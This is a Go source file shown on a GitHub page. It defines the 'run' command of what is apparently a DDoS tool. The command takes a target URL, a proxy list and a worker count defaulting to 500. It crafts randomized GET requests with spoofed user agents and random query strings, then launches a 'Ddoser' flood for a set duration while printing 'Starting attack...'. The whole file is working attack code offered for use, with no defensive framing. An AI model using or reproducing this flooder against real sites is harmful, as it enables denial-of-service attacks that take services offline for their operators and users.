-
Notifications
You must be signed in to change notification settings - Fork 6
/
Copy pathrunCommand.go
87 lines (71 loc) · 1.77 KB
/
runCommand.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
package main
import (
"net/url"
"time"
browser "github.com/EDDYCJY/fake-useragent"
"github.com/symfony-cli/console"
"github.com/symfony-cli/terminal"
"github.com/valyala/fasthttp"
)
var runCommand = &console.Command{
Name: "run",
Flags: []console.Flag{
&console.StringFlag{
Name: "url",
Required: true,
},
&console.IntFlag{
Name: "worker",
Aliases: []string{"w"},
DefaultValue: 500,
},
&console.StringFlag{
Name: "file",
Aliases: []string{"f"},
DefaultValue: "http.txt",
},
&console.DurationFlag{
Name: "duration",
Aliases: []string{"d"},
DefaultValue: time.Second * 10,
},
},
Action: func(c *console.Context) error {
u, err := url.ParseRequestURI(c.String("url"))
if err != nil {
return err
}
headers := make([]string, 100)
spinner := terminal.NewSpinner(c.App.Writer)
proxies, err := readLineFromFile(c.String("file"))
if err != nil {
return err
}
terminal.Println("<fg=yellow>Prepare for headers</>")
spinner.SuffixText = "Initialize random headers..."
spinner.Start()
var h fasthttp.RequestHeader
h.SetMethod("GET")
h.SetHost(u.Host)
h.Set("Connection", "keep-alive")
for i := range headers {
h.SetRequestURI(u.RequestURI() + `?` + randomString(5) + `=` + randomString(32))
h.SetUserAgent(browser.Random())
headers[i] = h.String()
time.Sleep(time.Millisecond * 10)
}
spinner.Stop()
ddoser, err := NewDdoser(u, c.Int("worker"), headers, proxies)
if err != nil {
return err
}
terminal.Println("<fg=yellow>Starting attack...</>")
spinner.SuffixText = "Attacking..."
spinner.Start()
ddoser.Run()
time.Sleep(c.Duration("duration"))
spinner.Stop()
terminal.Println("<fg=green>Attack finished</>")
return nil
},
}